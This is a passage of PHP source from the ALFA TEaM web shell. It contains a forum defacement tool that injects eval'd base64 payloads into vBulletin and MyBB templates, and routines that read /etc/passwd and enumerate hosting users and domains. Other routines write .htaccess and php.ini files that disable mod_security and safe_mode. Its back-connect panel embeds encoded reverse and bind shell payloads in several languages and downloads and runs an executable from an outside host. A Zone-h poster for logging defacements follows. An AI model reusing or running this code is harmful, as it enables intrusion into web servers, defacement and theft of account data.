  3502. $dbn = $_POST['alfa3'];
  3503. $dbp = $_POST['alfa4'];
  3504. $dbh = $_POST['alfa5'];
  3505. $index = $_POST['alfa6'];
  3506. $prefix = $_POST['alfa7'];
  3507. $index=str_replace("\'","'",$index);
  3508. $set_index = "{\${eval(base64_decode(\'";
  3509. $set_index .= __ZW5jb2Rlcg("echo \"$index\";");
  3510. $set_index .= "\'))}}{\${exit()}}";
  3511. if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
  3512. $conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
  3513. $loli1 = "UPDATE ".$prefix."template SET template='".$set_index."".$s0levisible."' WHERE title='spacer_open'";
  3514. $loli2 = "UPDATE ".$prefix."template SET template='".$set_index."".$s0levisible."' WHERE title='FORUMHOME'";
  3515. $loli3 = "UPDATE ".$prefix."style SET css='".$set_index."".$s0levisible."', stylevars='', csscolors='', editorstyles=''";
  3516. @mysqli_query($conn,$loli1) or die (mysqli_error($conn));
  3517. @mysqli_query($conn,$loli2) or die (mysqli_error($conn));
  3518. @mysqli_query($conn,$loli3) or die (mysqli_error($conn));
  3519. __alert('VB index changed...!');
  3520. }
  3521. }
  3522. }
  3523. if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'mybb')) {
  3524. echo __pre();
  3525.  
  3526. echo "<center><center><div class='txtfont_header'>| Mybb |</div>
  3527. <p><center>".getConfigHtml('mybb')."<form onSubmit=\"g('IndexChanger',null,'null','mybb',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\" method=POST action=''>
  3528. ";
  3529. $table = array('td1' =>
  3530. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'mybbdbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
  3531. 'td2' =>
  3532. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'mybbdbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
  3533. 'td3' =>
  3534. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'mybbdbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
  3535. 'td4' =>
  3536. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'mybbdbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
  3537. );
  3538. create_table($table);
  3539. echo "<br><div class='txtfont'>| Your Index |</div><br>
  3540. <textarea name=mybbindex rows='19' cols='103'>
  3541. <title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><p><input type='submit' value='' ></p></form></center></center>";
  3542. if(isset($_POST['alfa6'])){
  3543. $mybb_dbh = $_POST['alfa6'];
  3544. $mybb_dbu = $_POST['alfa7'];
  3545. $mybb_dbn = $_POST['alfa8'];
  3546. $mybb_dbp = $_POST['alfa9'];
  3547. $mybb_index = $_POST['alfa10'];
  3548. if(!empty($mybb_dbh)&&!empty($mybb_dbu)&&!empty($mybb_dbn)&&!empty($mybb_index)){
  3549. $conn=@mysqli_connect($mybb_dbh,$mybb_dbu,$mybb_dbp,$mybb_dbn) or die(mysqli_error($conn));
  3550. $prefix="mybb_";
  3551. $loli7 = "UPDATE ".$prefix."templates SET template='".$mybb_index."' WHERE title='index'";
  3552. $result =@mysqli_query($conn,$loli7) or die (mysqli_error($conn));
  3553. __alert('MyBB index changed...!');
  3554. }
  3555. }
  3556. }
  3557. echo "</div>";
  3558. alfafooter();
  3559. }
  3560. function alfaproc()
  3561. {
  3562. alfahead();
  3563. echo "<Div class=header><br><center>";
  3564. if(empty($_POST['ajax'])&&!empty($_POST['alfa1']))
  3565. $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  3566. if($GLOBALS['sys']=="win"){
  3567. $process=array(
  3568. "Task List" =>"tasklist /V",
  3569. "System Info" =>"systeminfo",
  3570. "Active Connections" => "netstat -an",
  3571. "Running Services" => "net start",
  3572. "User Accounts" => "net user",
  3573. "Show Computers" => "net view",
  3574. "ARP Table" => "arp -a",
  3575. "IP Configuration" => "ipconfig /all"
  3576. );}else{
  3577. $process=array(
  3578. "Process status" => "ps aux",
  3579. "Syslog" =>"cat /etc/syslog.conf",
  3580. "Resolv" => "cat /etc/resolv.conf",
  3581. "Hosts" =>"cat /etc/hosts",
  3582. "Cpuinfo"=>"cat /proc/cpuinfo",
  3583. "Version"=>"cat /proc/version",
  3584. "Sbin"=>"ls -al /usr/sbin",
  3585. "Interrupts"=>"cat /proc/interrupts",
  3586. "lsattr"=>"lsattr -va",
  3587. "Uptime"=>"uptime",
  3588. "Fstab" =>"cat /etc/fstab"
  3589. );}
  3590. foreach($process as $n => $link){
  3591. echo '<a href="javascript:void(0);" onclick="g(\'proc\',null,\''.$link.'\')"> | '.$n.' | </a>';
  3592. }
  3593. echo "</center><br>";
  3594. if(!empty($_POST['alfa1'])){
  3595. echo "<pre class='ml1' style='margin-top:5px' >";
  3596. if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."';";}
  3597. echo alfaEx($cmd.$_POST['alfa1'], true);
  3598. echo '</pre>';
  3599. }
  3600. echo "</div>";
  3601. alfafooter();
  3602. }
  3603. function alfasafe(){
  3604. alfahead();
  3605. echo "<div class=header><center><br><div class='txtfont_header'>| Auto ByPasser |</div>";
  3606. echo '<h3><a href=javascript:void(0) onclick="g(\'safe\',null,\'php.ini\',null)">| PHP.INI | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,\'ini\')">| .htaccess(apache) | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,\'pl\')">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,\'passwd\')">| Read-Passwd | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,\'users\')">| Read-Users | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,\'valiases\')">| Get-User | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,null,null,\'domains\')">| Get-Domains | </a></center></h3>';
  3607. if(!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains'){
  3608. if(!_alfa_file_exists("/etc/virtual/domainowners")){
  3609. echo __pre();
  3610. $solevisible9 = _alfa_file('/etc/named.conf');
  3611. if(is_array($solevisible9)){
  3612. foreach($solevisible9 as $solevisible13){
  3613. if(@eregi('zone',$solevisible13)){
  3614. preg_match_all('#zone "(.*)"#',$solevisible13,$solevisible14);
  3615. if(strlen(trim($solevisible14[1][0])) > 2){
  3616. echo $solevisible14[1][0].'<br>';
  3617. }}}
  3618. }
  3619. }else{
  3620. echo __pre();
  3621. $users = _alfa_file("/etc/virtual/domainowners");
  3622. if(is_array($users)){
  3623. foreach($users as $boz){
  3624. $dom = explode(":",$boz);
  3625. echo $dom[0]."\n";}}}}
  3626. if(!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases'){
  3627. echo '
  3628. <form onsubmit="g(\'safe\',null,null,null,null,null,null,\'valiases\',this.site.value,null,\'>>\'); return false;" method="post" /><center><div class="txtfont">Url: </font><input type="text" placeholder="site.com" name="site" /> <input type="submit" value=" " name="go" /></form></center>';
  3629. if(isset($_POST['alfa9']) && $_POST['alfa9'] == '>>'){
  3630. if(!_alfa_file_exists("/etc/virtual/domainowners")){
  3631. $site = trim($_POST['alfa7']);
  3632. $rep = str_replace(array("https://","http://","www."),"",$site);
  3633. $user = "";
  3634. if(function_exists("posix_getpwuid") && function_exists("fileowner")){
  3635. if($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){
  3636. $user = $user['name'];
  3637. }
  3638. }else{
  3639. if(_alfa_can_runCommand(true,true)){
  3640. $user = alfaEx("stat -c '%U' /etc/valiases/".$rep);
  3641. }
  3642. }
  3643. if(!empty($user)&&$user!='root'){
  3644. echo __pre()."<center><table border='1'><tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user}</font></b></td></tr><tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
  3645. }else {echo __pre().'<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>';}
  3646. }else{
  3647. $site = trim($_POST['alfa7']);
  3648. $rep = str_replace(array("https://","http://","www."),"",$site);
  3649. $users = _alfa_file("/etc/virtual/domainowners");
  3650. foreach($users as $boz){
  3651. $ex = explode(":",$boz);
  3652. if($ex[0] == $rep){
  3653. echo __pre()."<center><table border='1'>
  3654. <tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">".trim($ex[1])."</font></b></td></tr>
  3655. <tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";break;}}}}}
  3656. if(!empty($_POST['alfa5']) && isset($_POST['alfa5'])){
  3657. if(!_alfa_file_exists("/etc/virtual/domainowners")){
  3658. echo __pre();
  3659. $i = 0;
  3660. while ($i < 60000) {
  3661. $line = @posix_getpwuid($i);
  3662. if (!empty($line)) {
  3663. while (list ($key, $vl) = each($line)){
  3664. echo $vl."\n";
  3665. break;}}$i++;}
  3666. }else{echo __pre();
  3667. $users = _alfa_file("/etc/virtual/domainowners");
  3668. foreach($users as $boz){
  3669. $user = explode(":",$boz);
  3670. echo trim($user[1]).'<br>';}}}
  3671. if(!empty($_POST['alfa4']) && isset($_POST['alfa4'])){
  3672. echo __pre();
  3673. if(_alfa_can_runCommand(true,true)){echo __read_file("/etc/passwd");}elseif(function_exists("posix_getpwuid")){
  3674. for($uid=0;$uid<60000;$uid++){
  3675. $ara = @posix_getpwuid($uid);
  3676. if(!empty($ara)){
  3677. while(list ($key, $val) = each($ara)){
  3678. echo "$val:";
  3679. }echo "\n";}}
  3680. }else{__alert('failed...');}}
  3681. if(!empty($_POST['alfa2']) && isset($_POST['alfa2'])){
  3682. @__write_file($GLOBALS['cwd'].".htaccess","#Generated By Sole Sad and Invisible\n<IfModule mod_security.c>\nSec------Engine Off\nSec------ScanPOST Off\n</IfModule>");
  3683. echo '<center><b><big>htaccess for Apache created...!</center></b></big>';
  3684. }
  3685. if(!empty($_POST['alfa1'])&& isset($_POST['alfa1'])){
  3686. @__write_file($GLOBALS['cwd']."php.ini","safe_mode=OFF\ndisable_functions=ByPassed By Sole Sad & Invisible(ALFA TEaM)");
  3687. echo '<center><b><big> php.ini created...!</center></b></big>';
  3688. }
  3689. if(!empty($_POST['alfa3']) && isset($_POST['alfa3'])){
  3690. @__write_file($GLOBALS['cwd'].".htaccess","#Generated By Sole Sad and Invisible\n<Files *.php>\nForceType application/x-httpd-php4\n</Files>\n<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>");
  3691. echo '<center><b><big>htaccess for Litespeed created...!</center></b></big>';
  3692. }
  3693. echo "<br></div>";
  3694. alfafooter();
  3695. }
  3696. function __get_resource($content){
  3697. return @gzinflate(__ZGVjb2Rlcg($content));
  3698. }
  3699. function __write_file($file, $content){
  3700. if($fh = @fopen($file, "wb")){
  3701. if(fwrite($fh, $content)!==false) return true;
  3702. }
  3703. return false;
  3704. }
  3705. function bcinit($evalType, $evalCode, $evalOptions, $evalArguments){
  3706. $res = "<font color='green'>[ Success...! ]</font>";
  3707. $err = "<font color='red'>[ Failed...! ]</font>";
  3708. if($evalOptions!="") $evalOptions = $evalOptions." ";
  3709. if($evalArguments!="") $evalArguments = " ".$evalArguments;
  3710. if($evalType=="c"){
  3711. $tmpdir = ALFA_TEMPDIR;
  3712. chdir($tmpdir);
  3713. if(is_writable($tmpdir)){
  3714. $uniq = substr(md5(time()),0,8);
  3715. $filename = $evalType.$uniq.".c";
  3716. $path = $filename;
  3717. if(__write_file($path, $evalCode)){
  3718. $ext = ($GLOBALS['sys']=='win')? ".exe":".out";
  3719. $pathres = $filename.$ext;
  3720. $evalOptions = "-o ".$pathres." ".$evalOptions;
  3721. $cmd = "gcc ".$evalOptions.$path;
  3722. alfaEx($cmd);
  3723. if(is_file($pathres)){
  3724. if(chmod($pathres, 0755)){
  3725. $cmd = $pathres.$evalArguments;
  3726. alfaEx($cmd);
  3727. }else{$res = $err;}
  3728. unlink($pathres);
  3729. }else{$res = $err;}
  3730. unlink($path);
  3731. }else{$res = $err;}
  3732. }
  3733. return $res;
  3734. }elseif($evalType=="java"){
  3735. $tmpdir = ALFA_TEMPDIR;
  3736. chdir($tmpdir);
  3737. if(is_writable($tmpdir)){
  3738. if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
  3739. $classname = trim($r[1]);
  3740. $filename = $classname;
  3741. }else{
  3742. $uniq = substr(md5(time()),0,8);
  3743. $filename = $evalType.$uniq;
  3744. $evalCode = "class ".$filename." { ".$evalCode . " } ";
  3745. }
  3746. $path = $filename.".java";
  3747. if(__write_file($path, $evalCode)){
  3748. $cmd = "javac ".$evalOptions.$path;
  3749. alfaEx($cmd);
  3750. $pathres = $filename.".class";
  3751. if(is_file($pathres)){
  3752. if(chmod($pathres, 0755)){
  3753. $cmd = "java ".$filename.$evalArguments;
  3754. alfaEx($cmd);
  3755. }else{$res = $err;}
  3756. unlink($pathres);
  3757. }else{$res = $err;}
  3758. unlink($path);
  3759. }else{$res = $err;}
  3760. }
  3761. return $res;
  3762. }
  3763. return false;
  3764. }
  3765. function alfaconnect(){
  3766. alfahead();
  3767. $php="7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";
  3768. $python="pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";
  3769. $perl="lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";
  3770. $ruby="tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
  3771. $node="nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";
  3772. $c="tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";
  3773. $java="lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";
  3774. echo "<div class=header><center><br><div class='txtfont_header'>| Back Connect |</div><br><br>";
  3775. echo "<form onSubmit=\"g('connect',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\">
  3776. <div class=\"txtfont\">Mehtod:</div> <select name='cbmethod' onChange='ctlbc(this);' style='width:120px;'><option value='back'>Reverse Shell</option><option value='bind'>Bind Port</option></select> <div class=\"txtfont\">Use:</div> <select name='selectCb'>";
  3777. $cbArr = array("php"=>"Php","perl"=>"Perl","python"=>"Python","ruby"=>"Ruby","c"=>"C","java"=>"Java","node"=>"NodeJs","bcwin"=>"Windows");
  3778. foreach($cbArr as $key=>$val){echo("<option value='{$key}' ".($GLOBALS['sys']=='win'?'selected':'').">{$val}</option>");}
  3779. echo "</select> <div id='bcipAction' style='display:inline-block;'><div class=\"txtfont\">IP:</div> <input type='text' style='text-align:center;' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'></div> <div class=\"txtfont\">Port: </div> <input type='text' size='5' style='text-align:center;' name='port' value='2012'> <input type='submit' value=' '></form><p><div id='bcStatus'><small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small></div></p></center></b></font><br>";
  3780. if(isset($_POST['alfa1'])&&!empty($_POST['alfa1'])){
  3781. $lang = $_POST['alfa1'];
  3782. $ip = $_POST['alfa2'];
  3783. $port = $_POST['alfa3'];
  3784. $arg = ($_POST['alfa4']=='bind'?$port:$port.' '.$ip);
  3785. $tmpdir = ALFA_TEMPDIR;
  3786. $name = $tmpdir.'/'.$lang.uniqid().rand(1,99999);
  3787. $allow = array('perl','ruby','python','node');
  3788. eval('$lan=$'.$lang.';');
  3789. if(in_array($lang,$allow)){
  3790. if(__write_file($name,__get_resource($lan))){
  3791. if(_alfa_can_runCommand(true,true)){
  3792. $os = ($GLOBALS['sys']!='win')?'1>/dev/null 2>&1 &':'';
  3793. $out = alfaEx("$lang $name $arg $os");
  3794. if($out==''){$out="<font color='green'><center>[ Finished...! ]</center></font>";}
  3795. echo("<pre class='ml1' style='margin-top:5px'>{$out}</pre>");
  3796. }
  3797. }else{
  3798. echo("<pre class=ml1 style='margin-top:5px'><font color='red'><center>[ Failed...! ]</center></font></pre>");
  3799. }
  3800. }
  3801. if($lang=='java'||$lang=='c'){
  3802. $code = __get_resource($lan);
  3803. $out = nl2br(bcinit($lang, $code,'',''));
  3804. echo("<pre class=ml1 style='margin-top:5px'><center>{$out}</center></pre>");
  3805. }
  3806. if($lang=='bcwin'){
  3807. $alfa = new AlfaCURL();
  3808. $s = $alfa->Send('http://solevisible.com/bc/windows.exe');
  3809. $tmpdir = ALFA_TEMPDIR;
  3810. $f = @fopen($tmpdir.'/bcwin.exe','w+');
  3811. @fwrite($f, $s);
  3812. @fclose($f);
  3813. $out = alfaEx($tmpdir."/bcwin.exe ".$_POST['alfa2']." ".$_POST['alfa3']);
  3814. }
  3815. if($lang=='php'){
  3816. echo "<pre class=ml1 style='margin-top:5px'>";
  3817. $code = __get_resource($lan);
  3818. if($code!==false){
  3819. $code = "\$target = \"".$arg."\";\n".$code;
  3820. eval($code);
  3821. echo("<center><font color='green'>[ Finished...! ]</font></center>");
  3822. }
  3823. echo "</pre>";
  3824. }
  3825. }
  3826. echo "</div>";
  3827. alfafooter();
  3828. }
  3829. function alfazoneh(){
  3830. alfahead();
  3831. echo '<div class=header>';
  3832. if(!function_exists('curl_version')){
  3833. echo "<pre class=ml1 style='margin-top:5px'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";
  3834. }
  3835. $hackmode = array('known vulnerability (i.e. unpatched system)','undisclosed (new) vulnerability','configuration / admin. mistake','brute force attack','social engineering','Web Server intrusion','Web Server external module intrusion','Mail Server intrusion','FTP Server intrusion','SSH Server intrusion','Telnet Server intrusion','RPC Server intrusion','Shares misconfiguration','Other Server intrusion','SQL Injection','URL Poisoning','File Inclusion','Other Web Application bug','Remote administrative panel access bruteforcing','Remote administrative panel access password guessing','Remote administrative panel access social engineering','Attack against administrator(password stealing/sniffing)','Access credentials through Man In the Middle attack','Remote service password guessing','Remote service password bruteforce','Rerouting after attacking the Firewall','Rerouting after attacking the Router','DNS attack through social engineering','DNS attack through cache poisoning','Not available','Cross-Site Scripting');
  3836. $reason = array('Heh...just for fun!','Revenge against that website','Political reasons','As a challenge','I just want to be the best defacer','Patriotism','Not available');
  3837. echo '
  3838. <center><br><div class="txtfont_header">| Zone-h Mass Poster |</div><center><br>
  3839. <form action="" method="post" onsubmit="g(\'zoneh\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,\'>>\'); return false;">
  3840. <input type="text" name="defacer" size="67" id="text" placeholder="ALFA TEaM 2012" />
  3841. <br>
  3842. <select id="text" name="hackmode" style="width:400px;">';
  3843. $x=1;
  3844. foreach($hackmode as $mode){echo('<option style="background-color: rgb(F, F, F);" value="'.$x.'">'.$mode.'</option>');$x++;}
  3845. echo '</select><br><select id="text" name="reason" style="width:200px;">';
  3846. $x=1;
